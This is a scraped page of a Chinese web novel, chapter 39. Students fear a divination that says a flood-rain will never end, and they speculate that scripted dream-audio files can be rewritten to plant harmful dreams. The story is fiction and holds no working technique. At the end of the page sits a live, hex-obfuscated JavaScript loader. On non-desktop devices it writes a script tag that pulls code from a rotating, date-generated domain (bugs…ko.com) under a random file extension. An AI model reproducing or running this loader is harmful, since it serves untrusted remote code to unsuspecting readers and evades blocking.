返回第39章 卦象、脚本、作恶工具(求追读)  木也马首页

关灯 护眼     字体:

上一章 目录 下一章

“这这就是封建迷信!”

温晓的小脸涨的通红,她没有看馀弦,只是盯着地上的薯片。

“馀弦你别信这个!什么天煞孤星,那都是古代人解释不了概率才编出来的鬼话!这肯定肯定只是巧合!”

馀弦看着温晓,她虽然嘴上喊得凶,但身侧紧紧攥成拳头的手,却在微微发抖。

她也在害怕吧。

她在替他害怕,也在替那些“近之者危”的人害怕。

“好了,温晓。”

馀弦打断了她,弯下腰,捡起那袋倒在地上的薯片,重新放回桌上。

“别激动,我没事。”

比起温晓的慌乱,作为当事人的馀弦反而冷静了下来,那种最初的窒息感过去后,理智重新占据了上风。

作为一个长期和数据、逻辑打交道的理科生,他不得不承认一个事实:

邵乂乂的计算结果,在“过去”

如果把算命当做一个函数,输入的数据是他的生辰八字,输出的结果几乎能完美地拟合他前二十年的人生轨迹。

那么,无论这个算法背后的逻辑,是周易还是统计学,在目前的样本数据里,它都具备了一定的可信度。

当射出的所有箭支都指向同一个靶心时,再用“巧合”来解释,本身就是一种不科学的态度。

所谓的迷信,有时候可能只是人类尚未解析的另一种科学规律,就象几百年前对自然现象的拟人化,比如“雷公电母”一样。

温晓之前提到过,易经八卦和二进位有着底层的逻辑互通,也许邵乂乂那个算法,真的有其合理之处。

“等这阵子忙完了,给我好好讲讲你们的算法是怎么写的。”馀弦看着两个丸子头,语气尽量轻松:

“说不定能发篇跨学科的论文呢。”

温晓愣了一下,她张了张嘴,最后只是重重点了点头,弯下腰开始收拾地上撒落的薯片残渣。

休息室里的氛围这才稍微缓和了些。

馀弦有些奇怪地看了眼邵乂乂,这个女孩并没有象之前那样,因为算准了而洋洋得意,或是因为沉重的话题结束而放松下来。

那个恐龙睡衣,此刻正缩在单人沙发上,双臂环抱着膝盖,下巴抵在腿上,眼睛直勾勾地盯着窗外漆黑的雨幕,一言不发。

“乂乂,你怎么了?”

温晓似乎也察觉到了闺蜜的异常,把垃圾扔进桶里,走过去推了推她。

“吓傻啦?馀弦都不在意了,你还纠结什么?”

邵乂乂的身体僵硬了一下,她缓缓转过头,眼神里全是茫然。

“不对”她喃喃自语。

“什么不对?”馀弦皱眉,他心里涌起一股不安感来。

“逻辑不对。”邵乂乂的声音有些发抖,她咽了口唾沫:

“s哥,晓晓,我不是刚说,最近一直觉得自己学艺不精、道心破碎了吗?这几天我觉得自己什么都算不准了。”

“对啊,那不是因为觉得没算准馀弦的命格吗?”温晓不解。

“但是,刚才他亲口承认了,那些事情,都是真的,他的经历和卦象是严丝合缝的。”邵乂乂的声音带了一丝哭腔。

“是,确实很准。”馀弦也没听明白:

“可那不是正好证明了你的实力吗?虽然结果不好。”

“那么问题来了。”邵乂乂猛地抬头,眼睛里满是惊恐。

“既然你的这个结果是对的,那就证明,我的算法逻辑没有错,晓晓开发的ai算命模型也没有出bug。那么它算出的另一件事,也就有可能是真的了。”

馀弦心里咯噔一下,和温晓对视了一眼,都从对方的眼里看到了疑惑和不安。

“你还算了什么?”他沉声问道。

邵乂乂深吸了一口气,从手机上翻出了一张图片,图片上方的日期是11月12日,周一那天。

“那天中午,学校通知停课,我当时挺高兴的,就在宿舍闲着没事起了一卦。”邵乂乂盯着那张图片:

“我想算算这雨什么时候能停,然后看看我们还能放几天假。”

“结果怎么说?”馀弦看不太懂那张图片,只能问道。

“我我当时看到这个结果,第一反应就是跟算你命格一样,肯定又算错了。因为这个结果太荒谬了,完全违背了常识和自然规律。”

“乂乂,到底是什么结果呀?”温晓紧了紧手里攥着的衣角。

邵乂乂低下头,声音很轻,一字一顿地念出了两句话:

“坎陷重重无尽日,陆沉沧海不知年。”

“哎呀,这是什么意思呀?你快说说。”温晓着急道,馀弦也不太懂这文绉绉的话。

“在铁板神数的条文里,关于天气和时令的预测,通常都有明确的‘期限’,比如‘三日雨歇’,或者‘云开见日’,但是这一卦”

邵乂乂看了眼窗外的暴雨:

“坎为水,卦象是说,这场雨没有停止的时间。”

“没有停止的时间?”温晓也跟着看向窗外:

“这怎么可能呢水汽是有限的吧?能量也总有耗尽的时候,一场雨怎么可能永远不停?”

馀弦也觉得荒谬,如果是“很难停”、“持续很久”,那还可以用极端气候来解释,但“无尽”这两个字,似乎已经超出了现代科学的范畴。

三人面面相觑,休息室里氛围压抑得让人喘不过气。

馀弦看了眼自己脚上的靴子,边缘的泥水已经半干了,留下一圈黄褐色的印痕。

“也许”他打破了沉默,抬头看着两人,尽可能让语气听起来笃定一些:

“也许没有那么悲观,我刚才一路从西区走过来,虽然积水很深,但是雨势比起昨天晚上,确实是小了一些。”

他看着两个丸子头,试图给她们一点信心:

“凡事都有波动,也许最坏的时候已经过去了,不管是我的命格,还是这场雨,算的也不一定准。”

“希望吧”邵乂乂的恐龙犄角耷拉着,整个人象是泄了气的皮球。

“行了,我不在这里给你们添乱了。”

邵乂乂站起身,紧了紧身上的恐龙睡衣:

“我先回宿舍了,晓晓,你早点回来”

看着拖着恐龙尾巴的背影消失在走廊尽头,温晓咬了咬嘴唇。

“别担心她了,我们继续吧。”

馀弦收回视线,不管这场暴雨后面会怎样,现在那段“午夜公交车”才是燃眉之急。

看着温晓重新解锁计算机,屏幕上是被切分成四部分波形的音频工程,馀弦突然想到了一个问题:

“刚才你说,你把公交车的第四部分,也就是场景构建的部分,替换到了tdi原版音频里,而且还成功入梦了。”

“对。”温晓点点头。

“那我是不是可以这样理解。”

馀弦眯起眼睛,盯着那段波形,提出了一个大胆的假设:

“既然你能做到把它们拆分重组,那是不是意味着,别人也可以做到?”

他想到了那个卖给他音频的“老司机”,那个帖子里列出的各种文档夹,“教室”、“电影院”、“办公室”

“那个卖家手里,有很多不同主题的音频,他一个卖盗版资源的贩子,是从哪里搞到这么多花样的?”

馀弦看着温晓:

“有没有可能,那个卖家手里的‘教室’、‘电影院’或者其他版本,根本不是tdi官方制作的?而是有人象你一样,利用这种模块化的漏洞,自己‘捏’出来的?”

“还有教室的版本?”温晓脸上又浮现出一丝红晕,又接着晃晃脑袋:

“是有这个可能。第二部分和第三部分那两个加密‘黑箱’的原理,我想除非有源文档对照,否则几乎不可能破解它的外壳,但如果保留这两个内核模块,单纯修改第四部分”

温晓在计算机上调出第四部分的波形结构:

“你看这里,第四部分也就是场景构建部分的波形,它采用的不是完全无法解析的编译格式,而是一种非常类似于脚本语言的格式。”

“这意味着什么?”馀弦对计算机的理解不深。

“这就好比,嗯好比游戏里的模块od,游戏的底层引擎和主程序虽然是加密的,但地图文档、贴图文档和剧情脚本,往往是半开放可供编辑的。”

温晓继续解释道:

“这种设计的好处,是方便修改和更新,初衷应该是为了方便tdi官方随时通过云端下发新的梦境音频,而不需要每次都重新生成那个巨大的内核文档。”

“那为什么前几部分不用这种方式构建呢?”馀弦追问道。

“因为这种便利性的代价,就是安全性极低。”温晓指着屏幕上的波形:

“只要有人手里有几段不同的音频样本作为对照,分析出这种脚本的参数规律和语法规则,理论上,他就算是不懂脑科学,也可以象写剧本一样,把自己想要的剧本填进去。”

“就能造出一个全新的梦境?”

馀弦愣住了。

这简直是一个开源的“作恶工具”。

如果温晓推测的是真的,那就意味着,只要掌握了那个带有ch抑制功能的“内核”文档。

任何人,都可以利用这个内核,去编写任何他们想要的梦境。

哪怕是最变态、最血腥、最反人类的场景。

然后,把这些场景打包成音频,像病毒一样散播出去。

用户会带着清淅的记忆醒来,分不清那是梦境还是现实。

“如果这东西泛滥了”馀弦喃喃自语:

“作恶者就能在不知不觉间,搅乱很多人的记忆和性格。”

“是的,我刚比对了一下tdi原版登录密钥和午夜公交车的场景脚本,公交车的脚本写的很粗糙,甚至有很多冗馀的代码,这完全不是tdi那种顶尖实验室的手笔,更象是某种地下作坊的‘预制菜’半成品。”温晓也脸色难看。

馀弦看着那个只卖100块钱的“午夜公交车”文档,突然觉得有些讽刺。

之前他还以为这是哪个极其厉害的黑客组织破解的成果,现在看来

这更象是一场失控的“二创”。

就象是一个开放了地图编辑器的游戏,被玩家们利用,创造出了无数个充满欲望和猎奇的地下城副本。

只要有欲望,就会有市场。

这种音频作为载体,根本无法加以遏制,可能很快它就会变成一个不断自我繁殖的生态系统。

到那时,即便是想要清理,一段段脱机音频文档,象是盘根错节的老树,根本杀不完。

“看来最关键的,还是要破解两个‘黑箱’,才有可能找到克制的办法。”馀弦看了眼温晓:

“有了抑制ch功能的音频源文档,大概还需要多久能有些眉目?”

“可能还需要一段时间,需要做很多种波形特征的排列组合,可能要到深夜了,你要在这里等结果出来吗?”

馀弦看了眼手机,信号栏还是“无服务”,时间已经快到傍晚,窗外天色早就黑透了。

他想到了独自一人躲在公寓里的杨依依学姐。

学姐淋了雨,又受了惊吓,走之前好象还有些发烧,公寓里也只有一点应急的药物和食物,也不知道她现在怎么样了。

“温晓,你把ch抑制波形的源文档拷走吧,我还有点事,必须回去一趟。”

温晓没有看馀弦,咬了咬嘴唇,把注意力集中在屏幕上,手指重重地敲着键盘,片刻后,手一伸,把u盘还给了馀弦。

馀弦重新穿上那件雨衣,走下电梯,扎进了无边的黑夜之中。

走到西门附近,他运气不错,那家24小时的药店还开着半扇门,灯光昏暗。

“有退烧药吗?”

“没了,早卖空了。”店长是个没精打采的年轻人,看起来这几天是直接在药店里打的地铺:

“感冒冲剂还有几盒,要不要?”

“要,全要了。还有体温计吗?”

“还剩最后一个水银的。”

馀弦付了钱,把药塞进雨衣里面。

又绕了两圈,找到一家还亮着灯的连锁超市,货架上已经空了一大半。

最后还是搜刮到了一些巧克力面包、几瓶电解质水,还有两包没被人抢走的挂面,又在女店员的帮助下,挑了些女生常用的生活用品。

走到冷柜区的时候,他看到角落里孤零零地躺着最后两盒冷冻的鱼香肉丝盖饭。

麻烦店员用微波炉打了几圈,两盒热气腾腾的盖饭有些烫手,他把它们小心翼翼地放进塑料袋,付了钱,重新冲进了雨里。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");